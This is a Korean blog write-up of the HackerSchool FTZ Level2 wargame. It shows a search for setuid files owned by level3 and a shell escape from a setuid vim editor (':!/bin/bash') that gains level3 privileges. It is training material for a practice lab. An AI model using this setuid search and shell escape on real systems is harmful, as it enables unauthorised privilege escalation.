e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • Heap
  • 1-day
  • BOF
  • wargame
  • dvwa
  • how2heap
  • dreamhack.io
  • X86
  • rev-basic
  • x64

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[HackerSchool] FTZ Level2 풀이

2019. 10. 5. 01:11

ID : level2

PW : hacker or cracker

 

 

Level2 로그인!!

 

 

접속해서 디렉토리의 파일들을 봅니다.

 

[level2@ftz level2]$ ls -al
total 80
drwxr-xr-x    4 root     level2       4096 Apr 19  2002 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc
-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs
-rw-rw-r--    1 root     root          162 Mar 10  2000 .epems
-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc
-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc
-rw-r--r--    1 root     root           60 Mar 23  2000 hint
-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc
-rw-r--r--    1 root     root          367 Sep 24  2000 .profile
drwxr-xr-x    2 root     level2       4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level2       4096 Oct  4 00:44 tmp
-rw-r--r--    1 root     root            0 Oct 27  2002 .viminfo
-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc
-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults

 

 

역시 hint 파일이 있네요.

 

읽어봐야 겠죠?

 

[level2@ftz level2]$ cat hint


텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...



 

 

Level3 권한을 가지고 SetUID가 적용된 파일을 찾아봅시다.

 

[level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null
/usr/bin/editor

 

실행!

[level2@ftz level2]$ /usr/bin/editor

 

 

 

~
~
~
~
~
~                                          VIM - Vi IMproved
~
~                                           version 6.1.320
~                                       by Bram Moolenaar et al.
~                             Vim is open source and freely distributable
~
~                                    Help poor children in Uganda!
~                            type  :help iccf       for information
~
~                            type  :q               to exit
~                            type  :help  or    for on-line help
~                            type  :help version6   for version info
~
~
~
~
~

 

 

*VI(Visual Editor)란?

각종 문서를 편집할 수 있는 텍스트 기반의 편집기로 리눅스 뿐만 아니라 유닋 계열의 모든 운영체제에서 사용한다.

 

- 입력모드 : i 키를 통해 입력

- 글자 지우기 : x키

 

- 명령모드 : 입력모드에서 Esc키

 

- 라인모드 : 명령모드에서 콜론(:)

     콜론(:) 프롬프트에서 명령을 입력하여 저장, 편집, 검색 기능 등 다양한 기능을 제공하는 모드

     w : 저장, q : 나가기

 

*콜론 프롬프트에서 외부 명령어를 실행하고 싶을 때 -> :![외부 명령어]

 

 

Level3의 SetUID가 걸린 VI 편집기 안에서 쉘을 실행 -> Level3 권한 획득

:!/bin/bash

 

[level3@ftz level2]$ 

권한 획득 : )

 

 

 

비밀번호 확인하면?!!

 

[level3@ftz level2]$ my-pass

 

Level3 Password is 

[level3@ftz level2]$ 

 

 

 

Level2 Clear!!

 

 

 

 

    'Pwnable' 카테고리의 다른 글
    • [HackerSchool] FTZ Level5 풀이
    • [HackerSchool] FTZ Level4 풀이
    • [HackerSchool] FTZ Level3 풀이
    • [HackerSchool] FTZ Level1 풀이
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바